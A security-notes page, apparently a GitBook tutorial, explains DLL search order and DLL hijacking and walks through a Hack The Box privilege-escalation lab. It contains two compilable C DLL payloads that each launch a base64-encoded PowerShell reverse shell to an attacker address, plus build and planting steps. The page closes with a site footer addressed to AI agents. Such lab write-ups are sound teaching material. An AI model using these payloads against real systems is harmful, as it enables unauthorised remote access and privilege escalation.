# DLL & DLL Hijacking

### What is DLL?

***

DLL stands for Dynamic-Link Library, it is a file that contains reusable code and data which multiple programs(exe files) can load and run to perform tasks at the same time. DLL files are like library or module that you import in python or C or any programming language. However, dll are compiled binaries, yes it is a library that contains code and data but it is compiled into machine code. Technically you write code in C or C++ then compiled it using mingw tool to convert it into compiled dll file. DLL are dynamic link library, means instead of embedding the code or data to an executable file (program), the code or defined functions inside the dll files are linked at runtime. DLL are shared library and thats exactly the reason it can be loaded by multiple executable files simultaneously. When a program runs at runtime it calls `LoadLibrary()` or `GetProcAddress()` function/APIs that loads the dll file.

{% hint style="info" %}
These dll files also contains `DllMain` function (entry point function) that automatically runs after being loaded by the executable file/program without explicitly calling it. Now anything that is written inside `DllMain` function will get execute, it could be a malicious script too and this is where we typically places our payloads (like a reverse shell) so they can be executed immediately after being loaded in programs.
{% endhint %}

These dll files are Portable Executables (PE) as dll are binaries just like .exe files . You can find these dll files in 16bits, 32bits or even in 64bits depending on what is the architecture of the OS and programs/applications that loads these files.

```
## Common dll files that you might come across:
- kernel32.dll
- user32.dll
- ntdll.dll
## These are few core OS dll files that your windows runs on.
```

### What is DLL Hijacking?

***

DLL Hijacking is an attack technique that abuses how windows searches for and loads dll files. By overwriting or injecting a malicious code in a dll file which is being used by a program/application. Yes you can even replace the entire dll file with another file with the same name. There are multiple methods to hijack a dll file.&#x20;

{% hint style="info" %}
You can inject a payload in DllMain function so it can be executed immediately when the dll file is loaded into a program.
{% endhint %}

#### How does DLL Hijacking works?

To understand how dll hijacking works, you need to know about DLL search order. Technically, when a program or an application loads a dll file, window runs a dll search order that looks for the path of the located dll file. The image shown below is an example of how a policy is configured with safe search mode enabled.

<figure><img src="/files/xc4P6yrr3MSY31zzWwDb" alt=""><figcaption><p>Example for safe DLL search mode</p></figcaption></figure>

There are two types of search mode depending on how policies are configured to load a dll file for applications:

* When safe DLL search mode is enabled, the application or program search for required DLL files in the following order:

<pre><code><strong>## The order of searching the dll file in the system for the application/program.
</strong><strong>1. The directory from which the application is loaded. (where .exe is located)(Program Data or files)
</strong><strong>2. The system directory. (System32)
</strong><strong>3. The 16-bit system directory. (System)
</strong><strong>4. The Windows directory. (Windows)
</strong><strong>5. The current directory. (the .exe file youre executing from)
</strong><strong>6. The directories that listed in the PATH environment variables. (echo %PATH%)
</strong></code></pre>

* When safe DLL search mode is disabled, the application search DLL file in the these order:

```
## The order of search the DLL files
1. The directory from which the application is laoded.(where .exe is located)(Program Data or files)
2. The current directory. (the .exe file youre executing from)
3. The system directory. (System32)
4. The 16-bit directory. (System)
5. The windows directory. (Windows)
6. The directories that listed in the PATH environment variables. (echo %PATH%)
```

The difference in both search order is that when safe search is disabled, the current directory is being searched for the required dll file which is elevated in the order. Basically if safe search is disabled and the absolute path is not defined in the program or application that is going to load the dll file, the search order will look for the dll file in the current directory that the domain user has some privileges already, and can result in dll hijacking.

{% hint style="info" %}
Windows applications or executables program will default to any one of the above DLL search order if the application does not specify the absolute path of required DLL file.

This is also called DLL search order hijacking.
{% endhint %}

{% hint style="info" %}
If you have write access over the absolute path of the required DLL file by the program, it is definetly possible to hijack the DLL file. You can just replace the file or you can inject your payload inside the dll file.&#x20;

There are multiple methods to hijack a dll file.
{% endhint %}

### Detection

***

There are multiple ways to detect DLL Hijacking:

* If you are on windows server, process monitor tool is good choice, it can even detect the missing dll file required by programs.

{% hint style="info" %}
Missing DLL files are best opportunities to take advantage, as we can just create a new dll file and place it  with the same name that the program requires resulting executing our payload.
{% endhint %}

* If you are connected with powershell remotely, winpease is a great choice. Upload winpease.exe to the powershell and run it, save the result in a file and use select-string dll. It will give you a list of dll files where you have write access on it. Winpease may show you possible dll hijacking path also. for example:

<figure><img src="/files/PIu8PxoQrJ1BDLcyM0rf" alt=""><figcaption></figcaption></figure>

* Or, you can manually check for DLL files. How? lets dig in.

### Demonstration

***

One of the recent machine i solved on Hack The Box had missing DLL file hijacking (not search order).

When i get the shell of an account i get to know there was a schedule task running called "Update Checker Agent" after some enumeration i found out there was this "UpdateMonitor.exe" program that was running after every 3mins. The program was running as privileged user that i didnt have any access so I dumped the exe file and decompiled it, result:

```ps1
❯ ilspycmd UpdateMonitor.exe
.
< SNIPPET >
.
	private static void Main(string[] args)
	{
		string path = "C:\\ProgramData\\UpdateMonitor\\Logs\\monitor.log";
		string text = "C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip";
		string text2 = "C:\\Program Files\\UpdateMonitor\\bin\\";
		string text3 = "settings_update.dll";
		string text4 = Path.Combine(text2, text3);
		Directory.CreateDirectory(Path.GetDirectoryName(path));
		CleanupLogs(path, 90);
		Log(path, "Starting Sentinel Update Check...");
		Log(path, "Checking for update on core server...");
		Log(path, "Info: Core did not find file Settings_Update.zip");
		Log(path, "Last status: File not found on core");
		Log(path, "Checking for update on local server...");
		if (File.Exists(text))
		{
			try
			{
				if (File.Exists(text4))
				{
					File.Delete(text4);
				}
				ZipFile.ExtractToDirectory(text, text2);
				Log(path, "Successfully unzipped update to " + text2);
			}
			catch (IOException ex)
			{
				Log(path, "Update failed: " + ex.Message);
			}
			catch (Exception ex2)
			{
				Log(path, "Update failed: " + ex2.Message);
			}
		}
		else
		{
			Log(path, "No updates found locally: C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip.");
		}
		Log(path, "Loading update applier: " + text4);
		IntPtr intPtr = LoadLibrary(text4);
		if (intPtr == IntPtr.Zero)
		{
			int lastWin32Error = Marshal.GetLastWin32Error();
			Log(path, $"Failed to load {text3}. Error code: {lastWin32Error}");
			Log(path, "Update check completed.");
			return;
		}
		try
		{
			IntPtr procAddress = GetProcAddress(intPtr, "PreUpdateCheck");
			if (procAddress != IntPtr.Zero)
			{
				Log(path, "Calling 'PreUpdateCheck' in " + text3);
				((PreUpdateCheck)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(PreUpdateCheck)))();
			}
			else
			{
				Log(path, "'PreUpdateCheck' not found in " + text3 + ". Continuing...");
			}
		}
		finally
		{
			FreeLibrary(intPtr);
		}
		Log(path, "Update check completed.");
	}
.
< SNIPPET >
.
```

If you look  at the snippet code, you will realize that:

* it checks for the `“C:\ProgramData\UpdateMonitor\Settings_Update.zip”` if its available or not.
* If its not available, it failes to load the dll file as you can see the monitor.log file.

```
[2026-04-21 15:17:15] Starting Sentinel Update Check...
[2026-04-21 15:17:15] Checking for update on core server...
[2026-04-21 15:17:15] Info: Core did not find file Settings_Update.zip
[2026-04-21 15:17:15] Last status: File not found on core
[2026-04-21 15:17:15] Checking for update on local server...
[2026-04-21 15:17:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-21 15:17:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-21 15:17:15] Failed to load settings_update.dll. Error code: 126
[2026-04-21 15:17:15] Update check completed.
```

* If its available, then UpdateChecker deletes any existing settings\_update.dll file and unzip settings\_update.zip file
* then it loads the dll file from the zip file via loadLibrary().
* then it calls PreUpdateCheck function if its exists in the dll file.

{% hint style="info" %}
According to the code, it calls PreUpdateCheck function if its exists, but if it doesnt exist, it will just skip the execution, no function no calling, simple.

Now i have two choices here, either i use PreUpdateCheck function and use system()/winexec() function to execute commands i means its not checking whats inside the PreUpdateCheck function is, so we can obviously inject our payload.

OR as i mentioned earlier we can use `DllMain()` function which will execute immediately when the dll file loads by the UpdateMonitor.exe program.
{% endhint %}

You can craft a dll file using msfvenom depending on what you want, or you can craft it manually.

```c
#include <windows.h>
#include <stdlib.h>

// This is the specific function the C# script calls via GetProcAddress
__declspec(dllexport) void PreUpdateCheck() {
    // Our PowerShell reverse shell command
    system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMQAzADQAIgAsADcANwA3ADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    return TRUE;
}
```

As you can see in this crafted payload, i am using `PreUpdateCheck()` function to execute a powershell command to get the reverse shell. Or,

```c
#include <windows.h>
#include <stdlib.h>

// Note: DllMain is the entry point for a DLL.
// It is called by the OS loader whenever a process or thread loads/unloads the DLL.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            // The code here executes immediately upon the DLL being loaded.
            // We can use system() to launch the encoded PowerShell reverse shell.
            system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMQAzADQAIgAsADcANwA3ADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA");
            break;
            
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
```

We can use `DllMain()` function , i am using base64 encoded reverse shell script here to get the shell. Now by using msfvenom you get the dll file directly but if you craft a payload manually it would be in C or C++, you will have to convert it to DLL file using mingw tool.

{% hint style="info" %}
Remember to check the architecture of the program before creating the DLL file, the architecture of program should match the architecture of the dll file. Otherwise, the dll file wont execute after being loaded and will fail silently with error code 193. use file command to check the architecture of the binary/program that you are targetting.
{% endhint %}

use tool mingw to convert it to DLL, since the window binary or program has 32bit architecture then:

```
❯ i686-w64-mingw32-gcc -shared -o settings_update.dll exploit.c
```

Make sure to confire that your dll file has 32 architecture:

```
❯ file settings_update.dll
settings_update.dll: PE32 executable for MS Windows 4.00 (DLL), Intel i386, 18 sections
```

I am gonna zip it as the program looks for the dll file in the zip file:

```
❯ zip Settings_Update.zip settings_update.dll
```

Look at the naming of the file, i have created dll file and zip file with the same name that the program is looking for, now i just need to upload this zip file at the location the program is looking for and that is `C:\\ProgramData\\UpdateMonitor\\` , start a listener on your end to recieve the reverse shell here using netcat or penelop and wait for it as its re-run the UpdateMonitor.exe program after every 3 mins. Result? If your payload fails, check the logs!

<figure><img src="/files/Ydjz7Of0qZmniZbYorwI" alt=""><figcaption></figcaption></figure>

Or

<figure><img src="/files/ksobLt6KA0jTRnJpRpRG" alt=""><figcaption></figcaption></figure>

we get the shell!! Hence concluded how DLL Hijacking works.

{% hint style="info" %}
This is sometime also called Phantom DLL Hijacking when the missing DLL is one that Windows itself search for rather than a sepcific program or application. Basically depends how programs loads the dll file.
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kaizoku.gitbook.io/notes/active-directory/dll-and-dll-hijacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
